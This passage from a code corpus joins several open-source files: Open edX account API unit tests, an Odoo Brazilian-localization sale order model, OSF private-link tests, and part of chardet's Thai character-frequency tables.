TEST_PROFILE_IMAGE_UPLOADED_AT legacy_profile.language_proficiencies.add(LanguageProficiency(code='en')) legacy_profile.save() @ddt.ddt @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', 'Account APIs are only supported in LMS') @patch('openedx.core.djangoapps.user_api.accounts.image_helpers._PROFILE_IMAGE_SIZES', [50, 10]) @patch.dict( 'openedx.core.djangoapps.user_api.accounts.image_helpers.PROFILE_IMAGE_SIZES_MAP', {'full': 50, 'small': 10}, clear=True ) class TestAccountAPI(UserAPITestCase): """ Unit tests for the Account API. """ def setUp(self): super(TestAccountAPI, self).setUp() self.url = reverse("accounts_api", kwargs={'username': self.user.username}) def _verify_profile_image_data(self, data, has_profile_image): """ Verify the profile image data in a GET response for self.user corresponds to whether the user has or hasn't set a profile image. """ template = '{root}/{filename}_{{size}}.{extension}' if has_profile_image: url_root = 'http://example-storage.com/profile-images' filename = hashlib.md5('secret' + self.user.username).hexdigest() file_extension = 'jpg' template += '?v={}'.format(TEST_PROFILE_IMAGE_UPLOADED_AT.strftime("%s")) else: url_root = 'http://testserver/static' filename = 'default' file_extension = 'png' template = template.format(root=url_root, filename=filename, extension=file_extension) self.assertEqual( data['profile_image'], { 'has_image': has_profile_image, 'image_url_full': template.format(size=50), 'image_url_small': template.format(size=10), } ) def _verify_full_shareable_account_response(self, response): """ Verify that the shareable fields from the account are returned """ data = response.data self.assertEqual(6, len(data)) self.assertEqual(self.user.username, data["username"]) self.assertEqual("US", data["country"]) self._verify_profile_image_data(data, True) self.assertIsNone(data["time_zone"]) self.assertEqual([{"code": "en"}], data["language_proficiencies"]) self.assertEqual("Tired mother of twins", data["bio"]) def _verify_private_account_response(self, response, requires_parental_consent=False): """ Verify that only the public fields are returned if a user does not want to share account fields """ data = response.data self.assertEqual(2, len(data)) self.assertEqual(self.user.username, data["username"]) self._verify_profile_image_data(data, not requires_parental_consent) def _verify_full_account_response(self, response, requires_parental_consent=False): """ Verify that all account fields are returned (even those that are not shareable). """ data = response.data self.assertEqual(15, len(data)) self.assertEqual(self.user.username, data["username"]) self.assertEqual(self.user.first_name + " " + self.user.last_name, data["name"]) self.assertEqual("US", data["country"]) self.assertEqual("f", data["gender"]) self.assertEqual(2000, data["year_of_birth"]) self.assertEqual("m", data["level_of_education"]) self.assertEqual("world peace", data["goals"]) self.assertEqual("Park Ave", data['mailing_address']) self.assertEqual(self.user.email, data["email"]) self.assertTrue(data["is_active"]) self.assertIsNotNone(data["date_joined"]) self.assertEqual("Tired mother of twins", data["bio"]) self._verify_profile_image_data(data, not requires_parental_consent) self.assertEquals(requires_parental_consent, data["requires_parental_consent"]) self.assertEqual([{"code": "en"}], data["language_proficiencies"]) def test_anonymous_access(self): """ Test that an anonymous client (not logged in) cannot call GET or PATCH. """ self.send_get(self.anonymous_client, expected_status=401) self.send_patch(self.anonymous_client, {}, expected_status=401) def test_unsupported_methods(self): """ Test that DELETE, POST, and PUT are not supported. """ self.client.login(username=self.user.username, password=self.test_password) self.assertEqual(405, self.client.put(self.url).status_code) self.assertEqual(405, self.client.post(self.url).status_code) self.assertEqual(405, self.client.delete(self.url).status_code) @ddt.data( ("client", "user"), ("staff_client", "staff_user"), ) @ddt.unpack def test_get_account_unknown_user(self, api_client, user): """ Test that requesting a user who does not exist returns a 404. """ client = self.login_client(api_client, user) response = client.get(reverse("accounts_api", kwargs={'username': "does_not_exist"})) self.assertEqual(403 if user == "staff_user" else 404, response.status_code) # Note: using getattr so that the patching works even if there is no configuration. # This is needed when testing CMS as the patching is still executed even though the # suite is skipped. @patch.dict(getattr(settings, "ACCOUNT_VISIBILITY_CONFIGURATION", {}), {"default_visibility": "all_users"}) def test_get_account_different_user_visible(self): """ Test that a client (logged in) can only get the shareable fields for a different user. This is the case when default_visibility is set to "all_users". """ self.different_client.login(username=self.different_user.username, password=self.test_password) self.create_mock_profile(self.user) response = self.send_get(self.different_client) self._verify_full_shareable_account_response(response) # Note: using getattr so that the patching works even if there is no configuration. # This is needed when testing CMS as the patching is still executed even though the # suite is skipped. @patch.dict(getattr(settings, "ACCOUNT_VISIBILITY_CONFIGURATION", {}), {"default_visibility": "private"}) def test_get_account_different_user_private(self): """ Test that a client (logged in) can only get the shareable fields for a different user. This is the case when default_visibility is set to "private". """ self.different_client.login(username=self.different_user.username, password=self.test_password) self.create_mock_profile(self.user) response = self.send_get(self.different_client) self._verify_private_account_response(response) @ddt.data( ("client", "user", PRIVATE_VISIBILITY), ("different_client", "different_user", PRIVATE_VISIBILITY), ("staff_client", "staff_user", PRIVATE_VISIBILITY), ("client", "user", ALL_USERS_VISIBILITY), ("different_client", "different_user", ALL_USERS_VISIBILITY), ("staff_client", "staff_user", ALL_USERS_VISIBILITY), ) @ddt.unpack def test_get_account_private_visibility(self, api_client, requesting_username, preference_visibility): """ Test the return from GET based on user visibility setting. """ def verify_fields_visible_to_all_users(response): if preference_visibility == PRIVATE_VISIBILITY: self._verify_private_account_response(response) else: self._verify_full_shareable_account_response(response) client = self.login_client(api_client, requesting_username) # Update user account visibility setting. set_user_preference(self.user, ACCOUNT_VISIBILITY_PREF_KEY, preference_visibility) self.create_mock_profile(self.user) response = self.send_get(client) if requesting_username == "different_user": verify_fields_visible_to_all_users(response) else: self._verify_full_account_response(response) # Verify how the view parameter changes the fields that are returned. response = self.send_get(client, query_parameters='view=shared') verify_fields_visible_to_all_users(response) def test_get_account_default(self): """ Test that a client (logged in) can get her own account information (using default legacy profile information, as created by the test UserFactory). """ def verify_get_own_information(): response = self.send_get(self.client) data = response.data self.assertEqual(15, len(data)) self.assertEqual(self.user.username, data["username"]) self.assertEqual(self.user.first_name + " " + self.user.last_name, data["name"]) for empty_field in ("year_of_birth", "level_of_education", "mailing_address", "bio"): self.assertIsNone(data[empty_field]) self.assertIsNone(data["country"]) self.assertEqual("m", data["gender"]) self.assertEqual("Learn a lot", data["goals"]) self.assertEqual(self.user.email, data["email"]) self.assertIsNotNone(data["date_joined"]) self.assertEqual(self.user.is_active, data["is_active"]) self._verify_profile_image_data(data, False) self.assertTrue(data["requires_parental_consent"]) self.assertEqual([], data["language_proficiencies"]) self.client.login(username=self.user.username, password=self.test_password) verify_get_own_information() # Now make sure that the user can get the same information, even if not active self.user.is_active = False self.user.save() verify_get_own_information() def test_get_account_empty_string(self): """ Test the conversion of empty strings to None for certain fields. """ legacy_profile = UserProfile.objects.get(id=self.user.id) legacy_profile.country = "" legacy_profile.level_of_education = "" legacy_profile.gender = "" legacy_profile.save() self.client.login(username=self.user.username, password=self.test_password) response = self.send_get(self.client) for empty_field in ("level_of_education", "gender", "country"): self.assertIsNone(response.data[empty_field]) @ddt.data( ("different_client", "different_user"), ("staff_client", "staff_user"), ) @ddt.unpack def test_patch_account_disallowed_user(self, api_client, user): """ Test that a client cannot call PATCH on a different client's user account (even with is_staff access). """ client = self.login_client(api_client, user) self.send_patch(client, {}, expected_status=403 if user == "staff_user" else 404) @ddt.data( ("client", "user"), ("staff_client", "staff_user"), ) @ddt.unpack def test_patch_account_unknown_user(self, api_client, user): """ Test that trying to update a user who does not exist returns a 404. """ client = self.login_client(api_client, user) response = client.patch( reverse("accounts_api", kwargs={'username': "does_not_exist"}), data=json.dumps({}), content_type="application/merge-patch+json" ) self.assertEqual(404, response.status_code) @ddt.data( ("gender", "f", "not a gender", u"Select a valid choice. not a gender is not one of the available choices."), ("level_of_education", "none", u"ȻħȺɍłɇs", u"Select a valid choice. ȻħȺɍłɇs is not one of the available choices."), ("country", "GB", "XY", u"Select a valid choice. XY is not one of the available choices."), ("year_of_birth", 2009, "not_an_int", u"Enter a whole number."), ("name", "bob", "z" * 256, u"Ensure this value has at most 255 characters (it has 256)."), ("name", u"ȻħȺɍłɇs", "z ", u"The name field must be at least 2 characters long."), ("goals", "Smell the roses"), ("mailing_address", "Sesame Street"), # Note that we store the raw data, so it is up to client to escape the HTML. ("bio", u"<html>Lacrosse-playing superhero 壓是進界推日不復女</html>", "z" * 3001, u"Ensure this value has at most 3000 characters (it has 3001)."), # Note that email is tested below, as it is not immediately updated. # Note that language_proficiencies is tested below as there are multiple error and success conditions. ) @ddt.unpack def test_patch_account(self, field, value, fails_validation_value=None, developer_validation_message=None): """ Test the behavior of patch, when using the correct content_type. """ client = self.login_client("client", "user") self.send_patch(client, {field: value}) get_response = self.send_get(client) self.assertEqual(value, get_response.data[field]) if fails_validation_value: error_response = self.send_patch(client, {field: fails_validation_value}, expected_status=400) self.assertEqual( u'This value is invalid.', error_response.data["field_errors"][field]["user_message"] ) self.assertEqual( u"Value '{value}' is not valid for field '{field}': {messages}".format( value=fails_validation_value, field=field, messages=[developer_validation_message] ), error_response.data["field_errors"][field]["developer_message"] ) else: # If there are no values that would fail validation, then empty string should be supported. self.send_patch(client, {field: ""}) get_response = self.send_get(client) self.assertEqual("", get_response.data[field]) def test_patch_inactive_user(self): """ Verify that a user can patch her own account, even if inactive. """ self.client.login(username=self.user.username, password=self.test_password) self.user.is_active = False self.user.save() self.send_patch(self.client, {"goals": "to not activate account"}) get_response = self.send_get(self.client) self.assertEqual("to not activate account", get_response.data["goals"]) @ddt.unpack def test_patch_account_noneditable(self): """ Tests the behavior of patch when a read-only field is attempted to be edited. """ client = self.login_client("client", "user") def verify_error_response(field_name, data): self.assertEqual( "This field is not editable via this API", data["field_errors"][field_name]["developer_message"] ) self.assertEqual( "The '{0}' field cannot be edited.".format(field_name), data["field_errors"][field_name]["user_message"] ) for field_name in ["username", "date_joined", "is_active", "profile_image", "requires_parental_consent"]: response = self.send_patch(client, {field_name: "will_error", "gender": "o"}, expected_status=400) verify_error_response(field_name, response.data) # Make sure that gender did not change. response = self.send_get(client) self.assertEqual("m", response.data["gender"]) # Test error message with multiple read-only items response = self.send_patch(client, {"username": "will_error", "date_joined": "xx"}, expected_status=400) self.assertEqual(2, len(response.data["field_errors"])) verify_error_response("username", response.data) verify_error_response("date_joined", response.data) def test_patch_bad_content_type(self): """ Test the behavior of patch when an incorrect content_type is specified. """ self.client.login(username=self.user.username, password=self.test_password) self.send_patch(self.client, {}, content_type="application/json", expected_status=415) self.send_patch(self.client, {}, content_type="application/xml", expected_status=415) def test_patch_account_empty_string(self): """ Tests the behavior of patch when attempting to set fields with a select list of options to the empty string. Also verifies the behaviour when setting to None. """ self.client.login(username=self.user.username, password=self.test_password) for field_name in ["gender", "level_of_education", "country"]: self.send_patch(self.client, {field_name: ""}) response = self.send_get(self.client) # Although throwing a 400 might be reasonable, the default DRF behavior with ModelSerializer # is to convert to None, which also seems acceptable (and is difficult to override). self.assertIsNone(response.data[field_name]) # Verify that the behavior is the same for sending None. self.send_patch(self.client, {field_name: ""}) response = self.send_get(self.client) self.assertIsNone(response.data[field_name]) def test_patch_name_metadata(self): """ Test the metadata stored when changing the name field. """ def get_name_change_info(expected_entries): legacy_profile = UserProfile.objects.get(id=self.user.id) name_change_info = legacy_profile.get_meta()["old_names"] self.assertEqual(expected_entries, len(name_change_info)) return name_change_info def verify_change_info(change_info, old_name, requester, new_name): self.assertEqual(3, len(change_info)) self.assertEqual(old_name, change_info[0]) self.assertEqual("Name change requested through account API by {}".format(requester), change_info[1]) self.assertIsNotNone(change_info[2]) # Verify the new name was also stored. get_response = self.send_get(self.client) self.assertEqual(new_name, get_response.data["name"]) self.client.login(username=self.user.username, password=self.test_password) legacy_profile = UserProfile.objects.get(id=self.user.id) self.assertEqual({}, legacy_profile.get_meta()) old_name = legacy_profile.name # First change the name as the user and verify meta information. self.send_patch(self.client, {"name": "Mickey Mouse"}) name_change_info = get_name_change_info(1) verify_change_info(name_change_info[0], old_name, self.user.username, "Mickey Mouse") # Now change the name again and verify meta information. self.send_patch(self.client, {"name": "Donald Duck"}) name_change_info = get_name_change_info(2) verify_change_info(name_change_info[0], old_name, self.user.username, "Donald Duck",) verify_change_info(name_change_info[1], "Mickey Mouse", self.user.username, "Donald Duck") def test_patch_email(self): """ Test that the user can request an email change through the accounts API. Full testing of the helper method used (do_email_change_request) exists in the package with the code. Here just do minimal smoke testing. """ client = self.login_client("client", "user") old_email = self.user.email new_email = "[email protected]" self.send_patch(client, {"email": new_email, "goals": "change my email"}) # Since request is multi-step, the email won't change on GET immediately (though goals will update). get_response = self.send_get(client) self.assertEqual(old_email, get_response.data["email"]) self.assertEqual("change my email", get_response.data["goals"]) # Now call the method that will be invoked with the user clicks the activation key in the received email. # First we must get the activation key that was sent. pending_change = PendingEmailChange.objects.filter(user=self.user) self.assertEqual(1, len(pending_change)) activation_key = pending_change[0].activation_key confirm_change_url = reverse( "student.views.confirm_email_change", kwargs={'key': activation_key} ) response = self.client.post(confirm_change_url) self.assertEqual(200, response.status_code) get_response = self.send_get(client) self.assertEqual(new_email, get_response.data["email"]) @ddt.data( ("not_an_email",), ("",), (None,), ) @ddt.unpack def test_patch_invalid_email(self, bad_email): """ Test a few error cases for email validation (full test coverage lives with do_email_change_request). """ client = self.login_client("client", "user") # Try changing to an invalid email to make sure error messages are appropriately returned. error_response = self.send_patch(client, {"email": bad_email}, expected_status=400) field_errors = error_response.data["field_errors"] self.assertEqual( "Error thrown from validate_new_email: 'Valid e-mail address required.'", field_errors["email"]["developer_message"] ) self.assertEqual("Valid e-mail address required.", field_errors["email"]["user_message"]) def test_patch_language_proficiencies(self): """ Verify that patching the language_proficiencies field of the user profile completely overwrites the previous value. """ client = self.login_client("client", "user") # Patching language_proficiencies exercises the # `LanguageProficiencySerializer.get_identity` method, which compares # identifies language proficiencies based on their language code rather # than django model id. for proficiencies in ([{"code": "en"}, {"code": "fr"}, {"code": "es"}], [{"code": "fr"}], [{"code": "aa"}], []): self.send_patch(client, {"language_proficiencies": proficiencies}) response = self.send_get(client) self.assertItemsEqual(response.data["language_proficiencies"], proficiencies) @ddt.data( (u"not_a_list", [{u'non_field_errors': [u'Expected a list of items.']}]), ([u"not_a_JSON_object"], [{u'non_field_errors': [u'Invalid data']}]), ([{}], [{"code": [u"This field is required."]}]), ([{u"code": u"invalid_language_code"}], [{'code': [u'Select a valid choice. invalid_language_code is not one of the available choices.']}]), ([{u"code": u"kw"}, {u"code": u"el"}, {u"code": u"kw"}], [u'The language_proficiencies field must consist of unique languages']), ) @ddt.unpack def test_patch_invalid_language_proficiencies(self, patch_value, expected_error_message): """ Verify we handle error cases when patching the language_proficiencies field. """ client = self.login_client("client", "user") response = self.send_patch(client, {"language_proficiencies": patch_value}, expected_status=400) self.assertEqual( response.data["field_errors"]["language_proficiencies"]["developer_message"], u"Value '{patch_value}' is not valid for field 'language_proficiencies': {error_message}".format(patch_value=patch_value, error_message=expected_error_message) ) @patch('openedx.core.djangoapps.user_api.accounts.serializers.AccountUserSerializer.save') def test_patch_serializer_save_fails(self, serializer_save): """ Test that AccountUpdateErrors are passed through to the response. """ serializer_save.side_effect = [Exception("bummer"), None] self.client.login(username=self.user.username, password=self.test_password) error_response = self.send_patch(self.client, {"goals": "save an account field"}, expected_status=400) self.assertEqual( "Error thrown when saving account updates: 'bummer'", error_response.data["developer_message"] ) self.assertIsNone(error_response.data["user_message"]) @override_settings(PROFILE_IMAGE_BACKEND=TEST_PROFILE_IMAGE_BACKEND) def test_convert_relative_profile_url(self): """ Test that when TEST_PROFILE_IMAGE_BACKEND['base_url'] begins with a '/', the API generates the full URL to profile images based on the URL of the request. """ self.client.login(username=self.user.username, password=self.test_password) response = self.send_get(self.client) # pylint: disable=no-member self.assertEqual( response.data["profile_image"], { "has_image": False, "image_url_full": "http://testserver/static/default_50.png", "image_url_small": "http://testserver/static/default_10.png" } ) @ddt.data( ("client", "user", True), ("different_client", "different_user", False), ("staff_client", "staff_user", True), ) @ddt.unpack def test_parental_consent(self, api_client, requesting_username, has_full_access): """ Verifies that under thirteens never return a public profile. """ client = self.login_client(api_client, requesting_username) # Set the user to be ten years old with a public profile legacy_profile = UserProfile.objects.get(id=self.user.id) current_year = datetime.datetime.now().year legacy_profile.year_of_birth = current_year - 10 legacy_profile.save() set_user_preference(self.user, ACCOUNT_VISIBILITY_PREF_KEY, ALL_USERS_VISIBILITY) # Verify that the default view is still private (except for clients with full access) response = self.send_get(client) if has_full_access: data = response.data self.assertEqual(15, len(data)) self.assertEqual(self.user.username, data["username"]) self.assertEqual(self.user.first_name + " " + self.user.last_name, data["name"]) self.assertEqual(self.user.email, data["email"]) self.assertEqual(current_year - 10, data["year_of_birth"]) for empty_field in ("country", "level_of_education", "mailing_address", "bio"): self.assertIsNone(data[empty_field]) self.assertEqual("m", data["gender"]) self.assertEqual("Learn a lot", data["goals"]) self.assertTrue(data["is_active"]) self.assertIsNotNone(data["date_joined"]) self._verify_profile_image_data(data, False) self.assertTrue(data["requires_parental_consent"]) else: self._verify_private_account_response(response, requires_parental_consent=True) # Verify that the shared view is still private response = self.send_get(client, query_parameters='view=shared') self._verify_private_account_response(response, requires_parental_consent=True) @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', 'Test only valid in lms') class TestAccountAPITransactions(TransactionTestCase): """ Tests the transactional behavior of the account API """ test_password = "test" def setUp(self): super(TestAccountAPITransactions, self).setUp() self.client = APIClient() self.user = UserFactory.create(password=self.test_password) self.url = reverse("accounts_api", kwargs={'username': self.user.username}) @patch('student.views.do_email_change_request') def test_update_account_settings_rollback(self, mock_email_change): """ Verify that updating account settings is transactional when a failure happens. """ # Send a PATCH request with updates to both profile information and email. # Throw an error from the method that is used to process the email change request # (this is the last thing done in the api method). Verify that the profile did not change. mock_email_change.side_effect = [ValueError, "mock value error thrown"] self.client.login(username=self.user.username, password=self.test_password) old_email = self.user.email json_data = {"email": "[email protected]", "gender": "o"} response = self.client.patch(self.url, data=json.dumps(json_data), content_type="application/merge-patch+json") self.assertEqual(400, response.status_code) # Verify that GET returns the original preferences response = self.client.get(self.url) data = response.data self.assertEqual(old_email, data["email"]) self.assertEqual(u"m", data["gender"])
agpl-3.0
thinkopensolutions/l10n-brazil
sped_sale/models/inherited_sale_order.py
2
9185
# -*- coding: utf-8 -*- # Copyright 2017 KMEE # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). from __future__ import division, print_function, unicode_literals from odoo import api, fields, models, _ from odoo.addons.sped_imposto.models.sped_calculo_imposto_produto_servico \ import SpedCalculoImpostoProdutoServico from odoo.addons.l10n_br_base.constante_tributaria import * class SaleOrder(SpedCalculoImpostoProdutoServico, models.Model): _inherit = 'sale.order' # # O campo item_ids serve para que a classe SpedCalculoImposto # saiba de quais itens virão os valores que serão somados nos # campos totalizados de impostos, valor do produto e valor da NF e fatura # item_ids = fields.One2many( comodel_name='sale.order.line', inverse_name='order_id', string='Itens da venda', ) documento_ids = fields.One2many( comodel_name='sped.documento', inverse_name='sale_order_id', string='Documentos Fiscais', copy=False, ) quantidade_documentos = fields.Integer( string='Quantidade de documentos fiscais', compute='_compute_quantidade_documentos_fiscais', readonly=True, ) produto_id = fields.Many2one( comodel_name='sped.produto', related='order_line.produto_id', string='Produto', ) # # Os 2 campos abaixo separam os itens da venda ou compra, para que se # informem em telas separadas os produtos dos serviços, mostrando somente # os campos adequados a cada caso # sale_order_line_produto_ids = fields.One2many( comodel_name='sale.order.line', inverse_name='order_id', string='Produto', copy=False, domain=[('tipo_item','=','P')], readonly=True, states={'draft': [('readonly', False)]}, ) sale_order_line_servico_ids = fields.One2many( comodel_name='sale.order.line', inverse_name='order_id', string='Serviços', copy=False, domain=[('tipo_item','=','S')], readonly=True, states={'draft': [('readonly', False)]}, ) # # Datas sem hora no fuso horário de Brasília, para relatórios e pesquisas, # porque data sem hora é vida ;) # data_pedido = fields.Date( string='Data do pedido', compute='_compute_data_hora_separadas', store=True, index=True, ) # # Corrige os states # state = fields.Selection( selection=[ ('draft', 'Orçamento'), ('sent', 'Enviado ao cliente'), ('sale', 'Pedido'), ('done', 'Concluído'), ('cancel', 'Cancelado'), ], string='Status', readonly=True, copy=False, index=True, track_visibility='onchange', default='draft', ) obs_estoque = fields.Text( string='Obs. para o estoque', ) @api.depends('date_order') def _compute_data_hora_separadas(self): for sale in self: data, hora = self._separa_data_hora(sale.date_order) sale.data_pedido = data #sale.hora_pedido = hora @api.depends('documento_ids.situacao_fiscal') def _compute_quantidade_documentos_fiscais(self): for sale in self: documento_ids = self.env['sped.documento'].search( [('sale_order_id', '=', sale.id)]) sale.quantidade_documentos = len(documento_ids) @api.depends( 'order_line.price_total', # # Brasil # 'order_line.vr_nf', 'order_line.vr_fatura', ) def _amount_all(self): for sale in self: if not sale.is_brazilian: super(SaleOrder, sale)._amount_all() # # Aqui repassamos os valores que no core são somados dos itens, mas # buscando da soma dos campos brasileiros; # amount_untaxed é o valor da operação, sem os impostos embutidos # amount_tax é a somas dos impostos que entraram no total da NF # amount_total é o saldo # O core não tem um campo para o nosso conceito de retenção de # impostos, portanto o amount_total, quando houver retenção, # não vai corresponder à soma do amount_untaxed + amount_tax, # porque não existe um campo amount_tax_retention ou # coisa que o valha # dados = { 'amount_untaxed': sale.vr_operacao, 'amount_tax': sale.vr_nf - sale.vr_operacao, 'amount_total': sale.vr_fatura, } sale.update(dados) @api.multi def _prepare_invoice(self): vals = super(SaleOrder, self)._prepare_invoice() vals['empresa_id'] = self.empresa_id.id or False vals['participante_id'] = self.participante_id.id or False vals['operacao_produto_id'] = \ self.operacao_produto_id.id or False vals['operacao_servico_id'] = \ self.operacao_servico_id.id or False vals['condicao_pagamento_id'] = \ self.condicao_pagamento_id.id or False vals['date_invoice'] = fields.Date.context_today(self) return vals @api.depends('state', 'order_line.invoice_status', 'documento_ids.situacao_fiscal') def _get_invoiced(self): for sale in self: super(SaleOrder, sale)._get_invoiced() if not sale.is_brazilian: continue documento_ids = self.env['sped.documento'].search( [('sale_order_id', '=', sale.id), ('situacao_fiscal', 'in', SITUACAO_FISCAL_SPED_CONSIDERA_ATIVO)]) invoice_count = len(documento_ids) line_invoice_status = [line.invoice_status for line in sale.order_line] if sale.state not in ('sale', 'done'): invoice_status = 'no' elif any(invoice_status == 'to invoice' \ for invoice_status in line_invoice_status): invoice_status = 'to invoice' elif all(invoice_status == 'invoiced' \ for invoice_status in line_invoice_status): invoice_status = 'invoiced' elif all(invoice_status in ['invoiced', 'upselling'] \ for invoice_status in line_invoice_status): invoice_status = 'upselling' else: invoice_status = 'no' sale.update({ 'invoice_count': invoice_count, 'invoice_status': invoice_status }) def prepara_dados_documento(self): self.ensure_one() return { 'sale_order_id': self.id, 'infcomplementar': self.note, } @api.onchange('empresa_id', 'participante_id') def _onchange_empresa_operacao_padrao(self): self.ensure_one() if not self.presenca_comprador: self.presenca_comprador = self.empresa_id.presenca_comprador if self.empresa_id.operacao_produto_id: self.operacao_produto_id = self.empresa_id.operacao_produto_id if self.participante_id: if self.empresa_id.operacao_produto_pessoa_fisica_id and \ (self.participante_id.eh_consumidor_final or self.participante_id.tipo_pessoa == TIPO_PESSOA_FISICA): self.operacao_produto_id = \ self.empresa_id.operacao_produto_pessoa_fisica_id if self.participante_id.comment: self.obs_estoque = self.participante_id.comment if self.empresa_id.operacao_servico_id: self.operacao_servico_id = self.empresa_id.operacao_servico_id @api.model def create(self, dados): dados = self._mantem_sincronia_cadastros(dados) return super(SaleOrder, self).create(dados) def write(self, dados): dados = self._mantem_sincronia_cadastros(dados) return super(SaleOrder, self).write(dados) def gera_documento(self, soh_produtos=False, soh_servicos=False, stock_picking=None): self.ensure_one() documento_produto, documento_servico = \ super(SaleOrder, self).gera_documento( soh_produtos=soh_produtos, soh_servicos=soh_servicos ) if documento_produto is not None: # # Setamos a transportadora e a modalidade # if self.modalidade_frete: documento_produto.modalidade_frete = self.modalidade_frete if self.transportadora_id: documento_produto.transportadora_id = self.transportadora_id.id if stock_picking is None: if documento_produto.operacao_id.enviar_pela_venda: documento_produto.envia_documento() #if documento_servico is not None: #if documento_servico.operacao_id.enviar_pela_venda: #documento_servico.envia_nfse() return documento_produto, documento_servico
agpl-3.0
chrisseto/osf.io
osf_tests/test_private_link.py
2
4156
import pytest from website.project import new_private_link from .factories import PrivateLinkFactory, NodeFactory from osf.models import MetaSchema, DraftRegistration, NodeLog @pytest.mark.django_db def test_factory(): plink = PrivateLinkFactory() assert plink.name assert plink.key assert plink.creator # Copied from tests/test_models.py @pytest.mark.django_db class TestPrivateLink: def test_node_scale(self): link = PrivateLinkFactory() project = NodeFactory() comp = NodeFactory(parent=project) link.nodes.add(project) link.save() assert link.node_scale(project) == -40 assert link.node_scale(comp) == -20 # Regression test for https://sentry.osf.io/osf/production/group/1119/ def test_to_json_nodes_with_deleted_parent(self): link = PrivateLinkFactory() project = NodeFactory(is_deleted=True) node = NodeFactory(parent=project) link.nodes.add(project, node) link.save() result = link.to_json() # result doesn't include deleted parent assert len(result['nodes']) == 1 # Regression test for https://sentry.osf.io/osf/production/group/1119/ def test_node_scale_with_deleted_parent(self): link = PrivateLinkFactory() project = NodeFactory(is_deleted=True) node = NodeFactory(parent=project) link.nodes.add(project, node) link.save() assert link.node_scale(node) == -40 def test_create_from_node(self): proj = NodeFactory() user = proj.creator schema = MetaSchema.find()[0] data = {'some': 'data'} draft = DraftRegistration.create_from_node( proj, user=user, schema=schema, data=data, ) assert user == draft.initiator assert schema == draft.registration_schema assert data == draft.registration_metadata assert proj == draft.branched_from @pytest.mark.django_db class TestNodeProperties: def test_private_links_active(self): link = PrivateLinkFactory() deleted = PrivateLinkFactory(is_deleted=True) node = NodeFactory() link.nodes.add(node) deleted.nodes.add(node) assert link in node.private_links_active assert deleted not in node.private_links_active def test_private_link_keys_active(self): link = PrivateLinkFactory() deleted = PrivateLinkFactory(is_deleted=True) node = NodeFactory() link.nodes.add(node) deleted.nodes.add(node) assert link.key in node.private_link_keys_active assert deleted.key not in node.private_link_keys_active def test_private_link_keys_deleted(self): link = PrivateLinkFactory() deleted = PrivateLinkFactory(is_deleted=True) node = NodeFactory() link.nodes.add(node) deleted.nodes.add(node) assert link.key not in node.private_link_keys_deleted assert deleted.key in node.private_link_keys_deleted @pytest.mark.django_db class TestPrivateLinkNodeLogs: def test_create_private_link_log(self): node = NodeFactory() new_private_link( name='wooo', user=node.creator, nodes=[node], anonymous=False ) last_log = node.logs.latest() assert last_log.action == NodeLog.VIEW_ONLY_LINK_ADDED assert last_log.params == { 'node': node._id, 'project': node.parent_node._id, 'anonymous_link': False, 'user': node.creator._id } def test_create_anonymous_private_link_log(self): node = NodeFactory() new_private_link( name='wooo', user=node.creator, nodes=[node], anonymous=True ) last_log = node.logs.latest() assert last_log.action == NodeLog.VIEW_ONLY_LINK_ADDED assert last_log.params == { 'node': node._id, 'project': node.parent_node._id, 'anonymous_link': True, 'user': node.creator._id }
apache-2.0
tsvstar/vk_downloader
requests/packages/chardet/langthaimodel.py
2930
11275
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # The following result for thai was collected from a limited sample (1M). # Character Mapping Table: TIS620CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,182,106,107,100,183,184,185,101, 94,186,187,108,109,110,111, # 40 188,189,190, 89, 95,112,113,191,192,193,194,253,253,253,253,253, # 50 253, 64, 72, 73,114, 74,115,116,102, 81,201,117, 90,103, 78, 82, # 60 96,202, 91, 79, 84,104,105, 97, 98, 92,203,253,253,253,253,253, # 70 209,210,211,212,213, 88,214,215,216,217,218,219,220,118,221,222, 223,224, 99, 85, 83,225,226,227,228,229,230,231,232,233,234,235, 236, 5, 30,237, 24,238, 75, 8, 26, 52, 34, 51,119, 47, 58, 57, 49, 53, 55, 43, 20, 19, 44, 14, 48, 3, 17, 25, 39, 62, 31, 54, 45, 9, 16, 2, 61, 15,239, 12, 42, 46, 18, 21, 76, 4, 66, 63, 22, 10, 1, 36, 23, 13, 40, 27, 32, 35, 86,240,241,242,243,244, 11, 28, 41, 29, 33,245, 50, 37, 6, 7, 67, 77, 38, 93,246,247, 68, 56, 59, 65, 69, 60, 70, 80, 71, 87,248,249,250,251,252,253, ) # Model Table: # total sequences: 100% # first 512 sequences: 92.6386% # first 1024 sequences:7.3177% # rest sequences: 1.0230% # negative sequences: 0.0436% ThaiLangModel = ( 0,1,3,3,3,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,0,0,3,3,3,0,3,3,3,3, 0,3,3,0,0,0,1,3,0,3,3,2,3,3,0,1,2,3,3,3,3,0,2,0,2,0,0,3,2,1,2,2, 3,0,3,3,2,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,0,3,2,3,0,2,2,2,3, 0,2,3,0,0,0,0,1,0,1,2,3,1,1,3,2,2,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1, 